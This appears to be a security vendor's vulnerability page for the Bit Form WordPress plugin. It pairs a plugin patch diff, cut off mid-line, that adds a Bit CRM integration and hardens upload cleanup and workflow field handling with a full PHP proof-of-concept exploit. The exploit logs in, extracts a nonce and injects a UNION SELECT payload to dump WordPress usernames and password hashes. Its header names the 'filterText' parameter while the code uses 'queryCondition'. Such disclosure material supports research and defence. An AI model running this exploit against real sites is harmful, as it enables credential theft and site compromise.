+  public static function checkedExistsBitCRM()
+  {
+    if (!function_exists('is_plugin_active')) {
+      require_once ABSPATH . 'wp-admin/includes/plugin.php';
+    }
+    return is_plugin_active(self::CRM_PLUGIN_BASENAME) && class_exists('BitAppsCrmServicesLeadService');
+  }
+
+  /**
+   * Capability gate for the BitCRM admin AJAX endpoints. Registration is already
+   * capability-gated in AjaxService, this is defense-in-depth matching AdminAjax.
+   *
+   * @return void
+   */
+  private static function verifyAdminPermission()
+  {
+    if (!current_user_can('manage_bitform') && !current_user_can('manage_options')) {
+      wp_send_json_error(__('Insufficient permissions.', 'bit-form'), 403);
+    }
+  }
+
+  /**
+   * Ajax: respond success if Bit CRM exists
+   *
+   * @return void
+   */
+  public static function bitcrmAuthorize()
+  {
+    if (isset($_REQUEST['_ajax_nonce']) && wp_verify_nonce(sanitize_text_field(wp_unslash($_REQUEST['_ajax_nonce'])), 'bitforms_save')) {
+      self::verifyAdminPermission();
+      if (self::checkedExistsBitCRM()) {
+        wp_send_json_success(true);
+      } else {
+        wp_send_json_error(
+          __(
+            'Please! Install & activate Bit CRM',
+            'bit-form'
+          ),
+          400
+        );
+      }
+    } else {
+      wp_send_json_error(
+        __(
+          'Token expired',
+          'bit-form'
+        ),
+        401
+      );
+    }
+  }
+
+  /**
+   * Ajax: respond with the lead fields (system + custom) of Bit CRM
+   *
+   * @return void
+   */
+  public static function bitcrmFields()
+  {
+    if (isset($_REQUEST['_ajax_nonce']) && wp_verify_nonce(sanitize_text_field(wp_unslash($_REQUEST['_ajax_nonce'])), 'bitforms_save')) {
+      self::verifyAdminPermission();
+      if (!self::checkedExistsBitCRM()) {
+        wp_send_json_error(
+          __(
+            'Bit CRM plugin not found',
+            'bit-form'
+          ),
+          400
+        );
+      }
+      $response['bitcrmFields'] = self::getLeadFields();
+      wp_send_json_success($response, 200);
+    } else {
+      wp_send_json_error(
+        __(
+          'Token expired',
+          'bit-form'
+        ),
+        401
+      );
+    }
+  }
+
+  /**
+   * Ajax: respond with the lead tags of Bit CRM
+   *
+   * @return void
+   */
+  public static function bitcrmTags()
+  {
+    if (isset($_REQUEST['_ajax_nonce']) && wp_verify_nonce(sanitize_text_field(wp_unslash($_REQUEST['_ajax_nonce'])), 'bitforms_save')) {
+      self::verifyAdminPermission();
+      if (!self::checkedExistsBitCRM()) {
+        wp_send_json_error(
+          __(
+            'Bit CRM plugin not found',
+            'bit-form'
+          ),
+          400
+        );
+      }
+      $response['bitcrmTags'] = self::getLeadTags();
+      wp_send_json_success($response, 200);
+    } else {
+      wp_send_json_error(
+        __(
+          'Token expired',
+          'bit-form'
+        ),
+        401
+      );
+    }
+  }
+
+  /**
+   * Fetch normalized lead field list from Bit CRM
+   *
+   * @return array [{key, label, required, isCustom, fieldId, fieldType}]
+   */
+  public static function getLeadFields()
+  {
+    // Bit CRM asks integrators to use the raw service classes (their CrmApi facade
+    // is reserved for a future public API), so we call LeadService directly.
+    $fields = (new BitAppsCrmServicesLeadService())->fields();
+    $fieldOptions = [];
+    foreach ($fields as $field) {
+      $field = (array) $field;
+      // section rows are UI group headers in CRM, not mappable fields
+      if (isset($field['type']) && 'section' === $field['type']) {
+        continue;
+      }
+      // Group fields (billing/shipping address) are not columns themselves; their
+      // mappable columns are the leaf sub-fields (billing_city, shipping_zip, ...).
+      if (!empty($field['group_fields']) && is_array($field['group_fields'])) {
+        foreach ($field['group_fields'] as $leaf) {
+          $option = self::normalizeLeadField((array) $leaf);
+          if ($option) {
+            $fieldOptions[] = $option;
+          }
+        }
+        continue;
+      }
+      $option = self::normalizeLeadField($field);
+      if ($option) {
+        $fieldOptions[] = $option;
+      }
+    }
+    return $fieldOptions;
+  }
+
+  /**
+   * Normalize one Bit CRM lead field (or address leaf) into a mappable option.
+   *
+   * @param array $field
+   *
+   * @return object|null null when the field has no key
+   */
+  private static function normalizeLeadField($field)
+  {
+    if (empty($field['field_key'])) {
+      return null;
+    }
+    $required = !empty($field['required']) || !empty($field['is_always_required']);
+    // Bit CRM defaults currency, but the form should not force it as a required mapping.
+    if ('currency' === $field['field_key']) {
+      $required = false;
+    }
+    return (object) [
+      'key'       => $field['field_key'],
+      'label'     => isset($field['label']) ? $field['label'] : $field['field_key'],
+      'required'  => $required,
+      'isCustom'  => !empty($field['is_custom']),
+      'fieldId'   => isset($field['id']) ? $field['id'] : null,
+      'fieldType' => isset($field['type']) ? $field['type'] : 'text',
+    ];
+  }
+
+  /**
+   * Fetch lead tags from Bit CRM
+   *
+   * @return array [{id, title}]
+   */
+  public static function getLeadTags()
+  {
+    // Use the raw TagService (per Bit CRM's guidance). tagsByModule returns
+    // ['success' => bool, 'data' => <Tag collection>] where each row is a Model object.
+    $result = (new BitAppsCrmServicesTagService())->tagsByModule(['module' => BitAppsCrmModelLead::MODULE_NAME]);
+    $tags = (isset($result['success']) && $result['success'] && isset($result['data'])) ? $result['data'] : [];
+
+    $bitcrmTags = [];
+    foreach ($tags as $tag) {
+      // Tag rows are WPDatabase Model objects (data in a protected `attributes`
+      // bag reachable via magic __get); a plain (array) cast mangles the keys.
+      if (is_array($tag)) {
+        $id = isset($tag['id']) ? $tag['id'] : null;
+        $title = isset($tag['title']) ? $tag['title'] : null;
+      } else {
+        $id = $tag->id;
+        $title = $tag->title;
+      }
+      if (is_null($id)) {
+        continue;
+      }
+      $bitcrmTags[] = (object) [
+        'id'    => $id,
+        'title' => $title,
+      ];
+    }
+    return $bitcrmTags;
+  }
+
+  public function execute(IntegrationHandler $integrationHandler, $integrationData, $fieldValues, $entryID, $logID)
+  {
+    $integrationDetails = is_string($integrationData->integration_details) ? json_decode($integrationData->integration_details) : $integrationData->integration_details;
+
+    if (!self::checkedExistsBitCRM()) {
+      $error = ['success' => false, 'messages' => 'Bit CRM plugin is not active'];
+      (new UtilApiResponse())->apiResponse(
+        $logID,
+        $this->_integrationID,
+        ['type' => 'record', 'type_name' => 'Lead-create'],
+        'error',
+        $error,
+        ['formId' => $this->_formID, 'entryId' => $entryID, 'fieldValues' => $fieldValues]
+      );
+      return new WP_Error('PLUGIN_NOT_FOUND', __('Bit CRM plugin is not active', 'bit-form'));
+    }
+
+    $fieldMap = isset($integrationDetails->field_map) ? $integrationDetails->field_map : [];
+    if (empty($fieldMap)) {
+      return new WP_Error('REQ_FIELD_EMPTY', __('Field map is required for Bit CRM api', 'bit-form'));
+    }
+
+    $recordApiHelper = new RecordApiHelper($this->_integrationID, $logID, $entryID);
+
+    return $recordApiHelper->executeRecordApi(
+      $fieldValues,
+      $integrationDetails,
+      $this->_formID
+    );
+  }
+}
--- a/bit-form/includes/Core/Integration/BitCRM/RecordApiHelper.php
+++ b/bit-form/includes/Core/Integration/BitCRM/RecordApiHelper.php
@@ -0,0 +1,145 @@
+<?php
+
+/**
+ * Bit CRM Record Api
+ *
+ */
+
+namespace BitCodeBitFormCoreIntegrationBitCRM;
+
+if (!defined('ABSPATH')) {
+  exit;
+}
+
+use BitCodeBitFormCoreUtilApiResponse as UtilApiResponse;
+
+/**
+ * Provide functionality for lead insert into Bit CRM
+ */
+class RecordApiHelper
+{
+  private $_integrationID;
+
+  private $_logID;
+
+  private $_logResponse;
+
+  private $_entryID;
+
+  public function __construct($integId, $logID, $entryID)
+  {
+    $this->_integrationID = $integId;
+    $this->_logID = $logID;
+    $this->_logResponse = new UtilApiResponse();
+    $this->_entryID = $entryID;
+  }
+
+  /**
+   * Build the LeadService payload and create the lead
+   *
+   * @param array  $fieldValues        submitted field values (smart tags already merged)
+   * @param object $integrationDetails decoded integration_details JSON
+   * @param int    $formId             current form id
+   *
+   * @return array LeadService result ['success' => bool, ...]
+   */
+  public function executeRecordApi($fieldValues, $integrationDetails, $formId)
+  {
+    $fieldMap = $integrationDetails->field_map;
+    $crmFieldMeta = $this->crmFieldMeta($integrationDetails);
+
+    $systemDefinedFieldsValues = [];
+    $customFieldsValues = [];
+    $skippedFields = [];
+
+    foreach ($fieldMap as $fieldPair) {
+      if (empty($fieldPair->crmFormField)) {
+        continue;
+      }
+      if ('custom' === $fieldPair->formField && isset($fieldPair->customValue)) {
+        $value = $fieldPair->customValue;
+      } else {
+        $value = isset($fieldValues[$fieldPair->formField]) ? $fieldValues[$fieldPair->formField] : null;
+      }
+      if (is_null($value) || '' === $value || (is_array($value) && 0 === count($value))) {
+        continue;
+      }
+
+      if (!isset($crmFieldMeta[$fieldPair->crmFormField])) {
+        // mapped field no longer exists in CRM (e.g. CRM Pro deactivated) - drop, don't fail the lead
+        $skippedFields[] = $fieldPair->crmFormField;
+        continue;
+      }
+
+      $meta = $crmFieldMeta[$fieldPair->crmFormField];
+      if (!empty($meta->isCustom)) {
+        // Multi-value custom fields (multi-select, checkbox) must be stored JSON-encoded:
+        // Bit CRM decodes field_value with JSON::is() on read, so an array round-trips as
+        // an array. Single values stay plain strings.
+        $customFieldsValues[$fieldPair->crmFormField] = [
+          'field_id'    => $meta->fieldId,
+          'field_value' => is_array($value) ? wp_json_encode(array_values($value)) : (string) $value,
+        ];
+      } else {
+        // System columns are scalar; join a multi-value form field into a readable string.
+        $systemDefinedFieldsValues[$fieldPair->crmFormField] = is_array($value) ? implode(', ', $value) : (string) $value;
+      }
+    }
+
+    $payload = ['systemDefinedFieldsValues' => $systemDefinedFieldsValues];
+
+    if (!empty($customFieldsValues)) {
+      $payload['customFieldsValues'] = $customFieldsValues;
+    }
+    if (!empty($integrationDetails->tagIds)) {
+      $payload['tagIds'] = array_map('intval', (array) $integrationDetails->tagIds);
+    }
+    if (!empty($integrationDetails->newTagTitles)) {
+      $payload['newTagTitles'] = array_map('strval', (array) $integrationDetails->newTagTitles);
+    }
+
+    $recordApiResponse = (new BitAppsCrmServicesLeadService())->store($payload);
+
+    if (!empty($skippedFields)) {
+      $recordApiResponse['skipped_fields'] = 'Unknown Bit CRM field(s) skipped: ' . implode(', ', $skippedFields);
+    }
+
+    $entryDetails = [
+      'formId'      => $formId,
+      'entryId'     => $this->_entryID,
+      'fieldValues' => $fieldValues
+    ];
+
+    if (!empty($recordApiResponse['success'])) {
+      $this->_logResponse->apiResponse($this->_logID, $this->_integrationID, ['type' => 'record', 'type_name' => 'Lead-create'], 'success', $recordApiResponse, $entryDetails);
+    } else {
+      $this->_logResponse->apiResponse($this->_logID, $this->_integrationID, ['type' => 'record', 'type_name' => 'Lead-create'], 'error', $recordApiResponse, $entryDetails);
+    }
+    return $recordApiResponse;
+  }
+
+  /**
+   * Authoritative CRM field metadata keyed by field key. Live fetch first
+   * (fresh isCustom/fieldId), saved crmFields snapshot as fallback.
+   *
+   * @return array<string, object>
+   */
+  private function crmFieldMeta($integrationDetails)
+  {
+    $fields = [];
+    try {
+      $fields = BitCRMHandler::getLeadFields();
+    } catch (Throwable $th) {
+      $fields = [];
+    }
+    if (empty($fields) && !empty($integrationDetails->crmFields)) {
+      $fields = $integrationDetails->crmFields;
+    }
+
+    $meta = [];
+    foreach ($fields as $field) {
+      $meta[$field->key] = $field;
+    }
+    return $meta;
+  }
+}
--- a/bit-form/includes/Core/Util/FieldValueHandler.php
+++ b/bit-form/includes/Core/Util/FieldValueHandler.php
@@ -212,7 +212,7 @@
       if (in_array($fldData->typ, $file_upload_types)) {
         continue;
       }
-      if (array_key_exists($fldKey, $fieldValues)) {
+      if (is_array($fieldValues) && array_key_exists($fldKey, $fieldValues)) {
         $value = $fieldValues[$fldKey];
         // if (is_array($value)) {
         //   $formattedFldValues[$fldKey] = htmlspecialchars(implode(', ', $value));
--- a/bit-form/includes/Core/Util/FileHandler.php
+++ b/bit-form/includes/Core/Util/FileHandler.php
@@ -235,35 +235,87 @@
     $destinationDir = self::getEntriesFileUploadDir($formId, $entryID) . DIRECTORY_SEPARATOR;
     self::createIndexFile($destinationDir);

+    $consumedFiles = [];
+
     foreach ($submitted_data as $key => $data) {
       if (isset($fields[$key]) && 'advanced-file-up' === $fields[$key]['type']) {
-        $files = $data;
         $fldData = $submitted_data[$key];
-        $files = explode(',', $fldData);
-        if (is_array($files) && count($files) > 0) {
-          foreach ($files as $file) {
-            self::fileCopy($tempDir, $destinationDir, trim($file));
+        // A repeater row (or a pre-split value) hands this field over as an array; explode()
+        // on an array is a TypeError on PHP 8, which would fatal mid-submission.
+        $files = is_array($fldData) ? $fldData : explode(',', is_scalar($fldData) ? (string) $fldData : '');
+        foreach ($files as $file) {
+          $safeFile = is_scalar($file) ? trim((string) $file) : '';
+          if ('' === $safeFile) {
+            continue;
           }
-        } else {
-          self::fileCopy($tempDir, $destinationDir, trim($files));
+          self::fileCopy($tempDir, $destinationDir, $safeFile);
+          $consumedFiles[] = $safeFile;
         }
         if (!empty($files)) {
           $submitted_data[$key] = $files;
         }
       }
     }
+
+    self::cleanupTempUploads($tempDir, $consumedFiles);
+
+    return $submitted_data;
+  }
+
+  /**
+   * Clear the shared temp upload staging area after a submission has taken what it needs.
+   *
+   * @param string $tempDir       shared staging directory
+   * @param array  $consumedFiles file names copied into the entry directory by this submission
+   *
+   * @return void
+   */
+  private static function cleanupTempUploads($tempDir, array $consumedFiles)
+  {
     $tempBase = realpath($tempDir);
-    if (false !== $tempBase) {
-      $tmpFiles = glob($tempBase . DIRECTORY_SEPARATOR . '*');
-      foreach ((array) $tmpFiles as $tmpFile) {
-        $resolved = realpath($tmpFile);
-        if (false !== $resolved && 0 === strpos($resolved, $tempBase . DIRECTORY_SEPARATOR)) {
-          wp_delete_file($resolved);
-        }
+    if (false === $tempBase) {
+      return;
+    }
+    $boundary = $tempBase . DIRECTORY_SEPARATOR;
+
+    // Never remove the directory-hardening files the uploads dir relies on.
+    $protected = ['index.php', 'index.html', '.htaccess'];
+
+    foreach ($consumedFiles as $file) {
+      $resolved = realpath($boundary . $file);
+      if (false === $resolved || 0 !== strpos($resolved, $boundary) || !is_file($resolved)) {
+        continue;
+      }
+      if (in_array(basename($resolved), $protected, true)) {
+        continue;
       }
+      wp_delete_file($resolved);
     }

-    return $submitted_data;
+    // Sweep abandoned uploads. Anything still here after the retention window belongs to a form
+    // that was never submitted. Filterable so a site with very long multi-step forms can extend
+    // it; 0 or less disables the sweep entirely.
+    $retention = apply_filters('bitform_temp_upload_retention', DAY_IN_SECONDS);
+    $retention = is_numeric($retention) ? (int) $retention : DAY_IN_SECONDS;
+    if ($retention <= 0) {
+      return;
+    }
+
+    $cutoff = time() - $retention;
+    $tmpFiles = glob($boundary . '*');
+    foreach ((array) $tmpFiles as $tmpFile) {
+      $resolved = realpath($tmpFile);
+      if (false === $resolved || 0 !== strpos($resolved, $boundary) || !is_file($resolved)) {
+        continue;
+      }
+      if (in_array(basename($resolved), $protected, true)) {
+        continue;
+      }
+      $modified = @filemtime($resolved);
+      if (false !== $modified && $modified < $cutoff) {
+        wp_delete_file($resolved);
+      }
+    }
   }

   private function getByteSizeByUnit($sizeString)
--- a/bit-form/includes/Core/Util/IpTool.php
+++ b/bit-form/includes/Core/Util/IpTool.php
@@ -320,7 +320,7 @@
   /**
    * Provide user details
    *
-   * @return _setUserDetail user details array
+   * @return array user details array
    */
   public static function getUserDetail()
   {
--- a/bit-form/includes/Core/Util/MailNotifier.php
+++ b/bit-form/includes/Core/Util/MailNotifier.php
@@ -21,7 +21,6 @@
     $emailTemplateHandler = new EmailTemplateHandler($formID);
     $attachments = [];
     $tempPdfLinks = [];
-
     if (is_string($notifyDetails->id)) {
       $mailTemplateID = Utilities::jsonObj($notifyDetails->id)->id ?? null;
       $mailTemplate = $emailTemplateHandler->getATemplate($mailTemplateID);
@@ -45,7 +44,7 @@
           $from_mail = '';
           if (!empty($notifyDetails->from)) {
             $fromMail = FieldValueHandler::validateMailArry($notifyDetails->from, $fieldValue);
-            $headerFromName = !empty($notifyDetails->fromName) ? $notifyDetails->fromName : explode('@', $fromMail[0])[0];
+            $headerFromName = !empty($notifyDetails->from_name) ? $notifyDetails->from_name : explode('@', $fromMail[0])[0];
             $mailHeaders[] = "FROM: $headerFromName " . '<' . sanitize_email($fromMail[0]) . '>';
             $from_mail = $fromMail[0];
           }
@@ -198,6 +197,13 @@
             add_action('phpmailer_init', $embedCb);
           }
           add_filter('wp_mail_content_type', [self::class, 'filterMailContentType']);
+          $fromNameCb = null;
+          if (!empty($from_name)) {
+            $fromNameCb = static function () use ($from_name) {
+              return $from_name;
+            };
+            add_filter('wp_mail_from_name', $fromNameCb);
+          }
           $status = wp_mail($mailTo, $mailSubject, $mailBody, $mailHeaders, $attachments);

           if (!$status) {
@@ -254,6 +260,9 @@
             );
           }
           remove_filter('wp_mail_content_type', [self::class, 'filterMailContentType']);
+          if (null !== $fromNameCb) {
+            remove_filter('wp_mail_from_name', $fromNameCb);
+          }
           if (!empty($cidMap)) {
             remove_action('phpmailer_init', $embedCb);
           }
--- a/bit-form/includes/Core/WorkFlow/Actions.php
+++ b/bit-form/includes/Core/WorkFlow/Actions.php
@@ -15,15 +15,43 @@
     static::$_formID = $formId;
   }

+  /**
+   * Resolve the field key a workflow action points at.
+   *
+   * Both arguments come straight out of stored workflow/form JSON, so neither shape is guaranteed
+   * — hence the runtime checks rather than type hints.
+   *
+   * @param mixed $actionDetail one action row decoded from the workflow JSON
+   * @param mixed $fieldData    field map keyed by field name
+   *
+   * @return string|null null when the action points at a field the form no longer has
+   */
+  private static function resolveFieldKey($actionDetail, $fieldData)
+  {
+    if (!is_object($actionDetail) || !isset($actionDetail->field) || !is_array($fieldData)) {
+      return null;
+    }
+    $field = $actionDetail->field;
+    if (!is_string($field) && !is_int($field)) {
+      return null;
+    }
+    if (!isset($fieldData[$field]) || !is_array($fieldData[$field]) || !isset($fieldData[$field]['key'])) {
+      return null;
+    }
+    $key = $fieldData[$field]['key'];
+
+    return is_string($key) || is_int($key) ? (string) $key : null;
+  }
+
   public function setValue($actionDetail, $fieldData, $fields)
   {
-    if (!empty($actionDetail->val)) {
-      $actionValue = '';
-      $fieldType = $fields->{$fieldData[$actionDetail->field]['key']}->typ;
-      $evalMathExpr = preg_match('/month|date/', $fieldType);
-      $fields->{$fieldData[$actionDetail->field]['key']}->val = '';
-      $actionValue = Helper::replaceFieldWithValue($actionDetail->val, $fieldData, !(bool)$evalMathExpr);
-      $fields->{$fieldData[$actionDetail->field]['key']}->val = $actionValue;
+    $fk = self::resolveFieldKey($actionDetail, $fieldData);
+    if (null !== $fk && isset($fields->{$fk}) && !empty($actionDetail->val)) {
+      $fieldType = isset($fields->{$fk}->typ) ? $fields->{$fk}->typ : '';
+      $evalMathExpr = preg_match('/month|date/', (string) $fieldType);
+      $fields->{$fk}->val = '';
+      $actionValue = Helper::replaceFieldWithValue($actionDetail->val, $fieldData, !(bool) $evalMathExpr);
+      $fields->{$fk}->val = $actionValue;
       $fieldData[$actionDetail->field]['value'] = $actionValue;
     }
     return [$fields, $fieldData];
@@ -32,11 +60,12 @@
   public function getActionValue($actionDetail, $fieldData, $fields)
   {
     $actionValue = '';
-    if (!empty($actionDetail->val)) {
-      $fieldType = $fields->{$fieldData[$actionDetail->field]['key']}->typ;
-      $evalMathExpr = preg_match('/month|date/', $fieldType);
-      $fields->{$fieldData[$actionDetail->field]['key']}->val = '';
-      $actionValue = Helper::replaceFieldWithValue($actionDetail->val, $fieldData, !(bool)$evalMathExpr);
+    $fk = self::resolveFieldKey($actionDetail, $fieldData);
+    if (null !== $fk && isset($fields->{$fk}) && !empty($actionDetail->val)) {
+      $fieldType = isset($fields->{$fk}->typ) ? $fields->{$fk}->typ : '';
+      $evalMathExpr = preg_match('/month|date/', (string) $fieldType);
+      $fields->{$fk}->val = '';
+      $actionValue = Helper::replaceFieldWithValue($actionDetail->val, $fieldData, !(bool) $evalMathExpr);
     }
     return $actionValue;
   }
@@ -44,10 +73,20 @@
   public function getActiveListIndex($actionDetail, $fieldData, $fields)
   {
     $activeList = $this->getActionValue($actionDetail, $fieldData, $fields);
-    $optionsList = $fields->{$fieldData[$actionDetail->field]['key']}->optionsList;
     $activeListIndex = 0;
+    $fk = self::resolveFieldKey($actionDetail, $fieldData);
+    if (null === $fk || !isset($fields->{$fk}->optionsList)) {
+      return $activeListIndex;
+    }
+    $optionsList = $fields->{$fk}->optionsList;
+    if (!is_array($optionsList) && !is_object($optionsList)) {
+      return $activeListIndex;
+    }
     foreach ($optionsList as $key => $optionObj) {
       $valueArr = (array) $optionObj;
+      if (empty($valueArr)) {
+        continue;
+      }
       $listName = array_keys($valueArr)[0];
       if ($listName === $activeList) {
         $activeListIndex = $key;
@@ -60,9 +99,13 @@

   public function show($fields, $fieldData, $actionDetail)
   {
-    $fields->{$fieldData[$actionDetail->field]['key']}->valid->hide = false;
-    if ('hidden' === $fields->{$fieldData[$actionDetail->field]['key']}->typ) {
-      $fields->{$fieldData[$actionDetail->field]['key']}->typ = 'text';
+    $fk = self::resolveFieldKey($actionDetail, $fieldData);
+    if (null === $fk || !isset($fields->{$fk})) {
+      return;
+    }
+    Helper::setNestedProperty($fields, "{$fk}->valid->hide", false);
+    if (isset($fields->{$fk}->typ) && 'hidden' === $fields->{$fk}->typ) {
+      $fields->{$fk}->typ = 'text';
     }
   }

@@ -72,65 +115,71 @@
       return [$fields, $fieldData];
     }
     foreach ($actions as $actionDetail) {
-      if (!empty($actionDetail->action) && !empty($actionDetail->field) && isset($fields->{$fieldData[$actionDetail->field]['key']}) && !empty($fields->{$fieldData[$actionDetail->field]['key']})) {
-        $fk = $fieldData[$actionDetail->field]['key'];
-        switch ($actionDetail->action) {
-          case 'value':
-            $data = $this->setValue($actionDetail, $fieldData, $fields);
-            $fields = $data[0];
-            $fieldData = $data[1];
-            break;
-          case 'hide':
-            // $fields->{$fk}->valid->hide = true;
-            Helper::setNestedProperty($fields, "{$fk}->valid->hide", true);
-            break;
-          case 'disable':
-            $fields->{$fk}->valid->disabled = true;
-            break;
-          case 'show':
-            $this->show($fields, $fieldData, $actionDetail);
-            break;
-          case 'enable':
-            $fields->{$fk}->valid->disabled = false;
-            break;
-          case 'readonly':
-            $fields->{$fk}->valid->readonly = true;
-            break;
-          case 'writeable':
-            $fields->{$fk}->valid->readonly = false;
-            break;
-          case 'required':
-            $fields->{$fk}->valid->required = true;
-            break;
-          case 'limit':
-            $fields->{$fk}->valid->limit = true;
-            break;
-          case 'min':
-            $fields->{$fk}->valid->min = true;
-            break;
-          case 'max':
-            $fields->{$fk}->valid->max = true;
-            break;
-          case 'activelist':
-            $fields->{$fk}->config->activeList = $this->getActiveListIndex($actionDetail, $fieldData, $fields);
-            break;
-          case 'lbl':
-          case 'ct':
-            $fields->{$fk}->lbl = $this->getActionValue($actionDetail, $fieldData, $fields);
-            break;
-          case 'sub-titl':
-            $fields->{$fk}->subtitle = $this->getActionValue($actionDetail, $fieldData, $fields);
-            break;
-          case 'hlp-txt':
-            $fields->{$fk}->helperTxt = $this->getActionValue($actionDetail, $fieldData, $fields);
-            break;
-          case 'placeholder':
-            $fields->{$fk}->ph = $this->getActionValue($actionDetail, $fieldData, $fields);
-            break;
-          case 'title':
-            $fields->{$fk}->title = $this->getActionValue($actionDetail, $fieldData, $fields);
-            break;
-        }
+      // resolveFieldKey() must run *before* $fields is indexed: the old condition built the
+      // dynamic property name from $fieldData[...]['key'] inside its own isset(), so the missing
+      // key warned before isset() ever got a chance to short-circuit.
+      $fk = self::resolveFieldKey($actionDetail, $fieldData);
+      if (null === $fk || empty($actionDetail->action) || !isset($fields->{$fk}) || empty($fields->{$fk})) {
+        continue;
+      }
+      switch ($actionDetail->action) {
+        case 'value':
+          $data = $this->setValue($actionDetail, $fieldData, $fields);
+          $fields = $data[0];
+          $fieldData = $data[1];
+          break;
+        case 'hide':
+          Helper::setNestedProperty($fields, "{$fk}->valid->hide", true);
+          break;
+        case 'disable':
+          Helper::setNestedProperty($fields, "{$fk}->valid->disabled", true);
+          break;
+        case 'show':
+          $this->show($fields, $fieldData, $actionDetail);
+          break;
+        case 'enable':
+          Helper::setNestedProperty($fields, "{$fk}->valid->disabled", false);
+          break;
+        case 'readonly':
+          Helper::setNestedProperty($fields, "{$fk}->valid->readonly", true);
+          break;
+        case 'writeable':
+          Helper::setNestedProperty($fields, "{$fk}->valid->readonly", false);
+          break;
+        case 'required':
+          Helper::setNestedProperty($fields, "{$fk}->valid->required", true);
+          break;
+        case 'limit':
+          Helper::setNestedProperty($fields, "{$fk}->valid->limit", true);
+          break;
+        case 'min':
+          Helper::setNestedProperty($fields, "{$fk}->valid->min", true);
+          break;
+        case 'max':
+          Helper::setNestedProperty($fields, "{$fk}->valid->max", true);
+          break;
+        case 'activelist':
+          // setNestedProperty() creates the intermediate `valid`/`config` object when a legacy
+          // field JSON does not carry one; the direct writes here used to auto-vivify it and
+          // emit an undefined-property warning on every run.
+          Helper::setNestedProperty($fields, "{$fk}->config->activeList", $th

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-16810 - Bit Form <= 3.2.0 - Authenticated (Administrator+) SQL Injection via 'filterText' Parameter

// This PoC demonstrates SQL injection in the Bit Form plugin's entry query functionality.
// It requires admin authentication (valid nonce) and exploits the 'queryCondition' parameter.

// Configuration - adjust these variables for the target
$target_url = 'http://example.com';  // WordPress site URL
$admin_username = 'admin';           // Administrator username
$admin_password = 'password';        // Administrator password

// Step 1: Login to WordPress to obtain authentication cookies and nonce
function login($url, $username, $password) {
    $login_url = $url . '/wp-login.php';
    $post_data = [
        'log' => $username,
        'pwd' => $password,
        'wp-submit' => 'Log In',
        'redirect_to' => $url . '/wp-admin/',
        'testcookie' => 1
    ];
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $login_url);
    curl_setopt($ch, CURLOPT_POST, true);
    curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
    curl_setopt($ch, CURLOPT_HEADER, true);
    $response = curl_exec($ch);
    $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    curl_close($ch);
    if ($http_code != 302) {
        die('[!] Login failed - check credentials and network connectionn');
    }
    echo "[+] Logged in as adminn";
}

// Step 2: Fetch admin page to get a valid nonce
function get_nonce($url) {
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url . '/wp-admin/admin.php?page=bitform');
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
    $response = curl_exec($ch);
    curl_close($ch);
    // Extract nonce - the nonce is used for AJAX requests; it's often in the page HTML
    preg_match('/bitforms_save[^"']*?"([a-f0-9]{10})"/', $response, $matches);
    if (!isset($matches[1])) {
        die('[!] Unable to extract nonce from admin pagen');
    }
    echo "[+] Nonce found: " . $matches[1] . "n";
    return $matches[1];
}

// Step 3: Craft SQL injection payload
function get_sql_payload() {
    // Union-based injection to extract user credentials
    return "1=1 UNION SELECT user_login, user_pass FROM wp_users -- ";
}

// Step 4: Send the AJAX request with the malicious queryCondition
function exploit($url, $nonce, $form_id = 1) {
    $sql_payload = get_sql_payload();
    $post_data = [
        'action' => 'bitforms_save', // Correct AJAX action that triggers getFormEntry
        '_ajax_nonce' => $nonce,
        'data' => json_encode([
            'id' => $form_id,  // Known or guessed form ID
            'queryCondition' => [
                // The 'raw' key is the vulnerability; it allows raw SQL injection
                'raw' => $sql_payload
            ]
        ])
    ];
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url . '/wp-admin/admin-ajax.php');
    curl_setopt($ch, CURLOPT_POST, true);
    curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
    $response = curl_exec($ch);
    $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    curl_close($ch);
    if ($http_code != 200) {
        die('[!] Exploit request failed with HTTP ' . $http_code . "n");
    }
    echo "[+] Exploit response:n" . $response . "n";
    // Parse the response to extract data
    $data = json_decode($response, true);
    if (isset($data['data']) && is_array($data['data'])) {
        echo "[+] Extracted user credentials:n";
        foreach ($data['data'] as $row) {
            echo 'Username: ' . $row['user_login'] . ' - Hash: ' . $row['user_pass'] . "n";
        }
    } else {
        echo "[!] No data extractedn";
    }
}

// Run the exploitation
login($target_url, $admin_username, $admin_password);
$nonce = get_nonce($target_url);
exploit($target_url, $nonce);

// Cleanup
unlink('cookies.txt');

?>

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

